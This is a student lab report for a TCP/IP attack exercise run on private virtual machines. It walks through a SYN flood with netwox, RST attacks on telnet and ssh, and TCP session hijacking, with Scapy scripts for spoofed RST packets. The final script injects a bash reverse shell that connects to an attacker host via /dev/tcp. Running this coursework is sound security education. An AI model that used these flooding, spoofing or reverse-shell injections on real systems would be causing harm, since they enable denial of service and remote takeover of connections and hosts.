Washington University in St. Louis

CES571S - L1 - TCP/IP Attack

467261 - Yifu Wang

2018 - 09 - 12

1 Lab Environment

We need 3 machines to accomplish this lab, one **Attacker**, one **Client**, one **Server**. I choose to create 3 VM with VirtualBox. In order to connet all 3 VM to internet and connet them with each others and the host, I create a bridge to share the Ethernet in the host, so they all under the 192.168.137.***.

2 Lab Tasks

2.1 SYN Flooding Attack

In order to observe the attack result easily. I used a tool called **tcpping**, which is similar to ping but using tcp protocol. So hopefully my attack will jam the **tcpping**. And every thing worked smoothly.
With `netwox 76 -i 192.168.137.167 -p 80`, the **Attacker** attacked the **Server** at port 80.
With `tcpping 192.168.137.167 80`, the **Client** is able to send tcp request to **Server** at the same port. So we can find out if our attack were successful.
And by the way, though the `netwox 76` won't log no matter it's success or not, we can still tell the difference physically. When the SYN cookie is turned on, this command won't do anything. But when the SYN cookie is turned off, this command will cause the cooling fan to make a huge noise.
Screenshot: Server, Client, Attacker.

2.2 TCP RST Attacks on `telnet` and `ssh` Connections

In order to conduct a RST attack, my Attacker should spy on the tcp traffic in and out from the Client. And I choose to use the pure command line network sniffer tool `tcpdump`. With `sudo tcpdump tcp and host 192.168.137.160`, I can capture all traffic using TCP protocol sended or recieved by Client.

- Firstly I managed to attack with `netwox 78`. Initially, I think I should pass some arguments like `ACK` or `SYN`, some I spend a lot of time to figure out how to do this. And eventually I found out that `netwox 78` will detect tcp massage automatic. And that's why when I use `netwox 78 192.168.137.Server` to attack Server seemed nothing happend, because in order to trigger the auto detection Client need to send a tcp massage after the attack started. So I just tapped Enter button, and I finally get the massage saying `"Conection closed by foreign host"`.
  Screenshot: Client, Attacker.

- Using `netwox` to attack ssh connect, the result is almost the same, except the error massage said `"Broken pipe"`.
  Screenshot: Client.
  By the way before the final "correct" out put, you can see there is several unsuccessful attempts. That is because I were attacking the wrong port.

- Trying to use scapy to reproduce the same attacking on telnet and ssh connection. In order to do that, we need to capture the tcp traffic manually and spoof a RST request send to Server. Since I'm using pure command line mode due to the laggy GUI interface. I choose to using `tcpdump` on the Attacker to capture the traffic and create the `.cap` file inside the shared folder and observe the dumped traffic using wireshark in the host win10 machine. Followings are several command I used to conduct the attack and the python script code to spoof RST request.
  Capture: `sudo tcpdump tcp and host 192.168.137.150 and 192.168.137.140`
  Python:

  ```
  #!/usr/bin/pyton3
  from scapy.all import *

  ip = IP(src="192.168.137.150", dst="192.168.137.140")
  tcp = TCP(sport=46176, dport=23, flags="R", seq=3375652917, ack=1837764021)
  pkt = ip/tcp
  ls(pkt)
  print(pkt)
  send(pkt, verbose=0)
  ```

  Screenshot: Attacker, Client, RST request.
  To be honest, I didn't successed at first time. In the first several try, I didn't noticed that the seq and ack number displayed in wireshark is quoted as "relative sequence number", and obviously I won't success with those relative value. So after I turn off the "Display relatively" in wireshark. I made it in one shoot.

2.3 TCP RST Attacks on Video Streaming Applications

This task is essentially the same as the task 2, but with the GUI response. I shouldn't and didn't encounter any issure for this task.

2.4 TCP Session Hijacking

To conduct this attack, you should detect the correct seq and ack number as same as the previous tasks. And remember to convert the plaint text into hexed text.
Screenshot: Convert, Detection, Hijack.

2.5 Creating Reverse Shell using TCP Session Hijacking

All the same except the data we attached. Using Scapy for convenience. Scapy:

```
#!/usr/bin/python3 from scapy.all import *
import binascii


ip = IP(src='192.168.137.2', dst='192.168.137.172')
tcp = TCP(sport=41190, dport=23, flags="AP", seq=150966078, ack=333437326)
data = '/bin/bash -i > /dev/tcp/192.168.137.205/9090 0<&1 2>&1\r'
pkt = ip/tcp/data
ls(pkt)
send(pkt,verbose=0)
```

Attacker.